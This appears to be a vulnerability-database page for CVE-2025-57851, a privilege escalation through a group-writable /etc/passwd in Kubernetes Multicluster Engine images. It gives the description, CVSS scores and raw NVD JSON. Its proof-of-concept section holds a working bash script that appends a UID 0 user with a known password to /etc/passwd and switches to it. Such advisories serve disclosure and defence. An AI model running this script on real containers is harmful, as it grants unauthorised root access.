Security Vulnerability Report
中文
CVE-2025-57851 CVSS 6.4 MEDIUM

CVE-2025-57851

Published: 2026-04-08 14:16:26
Last Modified: 2026-05-01 20:30:13

Description

A container privilege escalation flaw was found in certain Multicluster Engine for Kubernetes images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redhat:advanced_cluster_management_for_kubernetes:-:*:*:*:*:*:*:* - VULNERABLE
Multicluster Engine for Kubernetes (特定受影响镜像)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2025-57851: Container Privilege Escalation via group-writable /etc/passwd # Check if /etc/passwd is group-writable if [ -w /etc/passwd ]; then echo "[+] /etc/passwd is writable by current user/group." # Generate a password hash for the new root user 'hacker' # Password: 'password123' SALT=$(openssl rand -base64 6) HASH=$(openssl passwd -1 -salt "$SALT" "password123") # Create a new user entry with UID 0 (root) # Format: username:password:UID:GID:gecos:home:shell NEW_USER="hacker_x:${HASH}:0:0:Pwned:/root:/bin/bash" # Append the new user to /etc/passwd echo "$NEW_USER" >> /etc/passwd echo "[+] User 'hacker_x' added with UID 0." echo "[+] Attempting to switch to the new user..." # Switch to the new user (requires interactive shell in real scenario) su - hacker_x else echo "[-] /etc/passwd is not writable. Exploit failed." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57851", "sourceIdentifier": "[email protected]", "published": "2026-04-08T14:16:25.817", "lastModified": "2026-05-01T20:30:13.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A container privilege escalation flaw was found in certain Multicluster Engine for Kubernetes images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:advanced_cluster_management_for_kubernetes:-:*:*:*:*:*:*:*", "matchCriteriaId": "7301AD20-0188-463F-9386-9D878AD3A542"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-57851", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391104", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}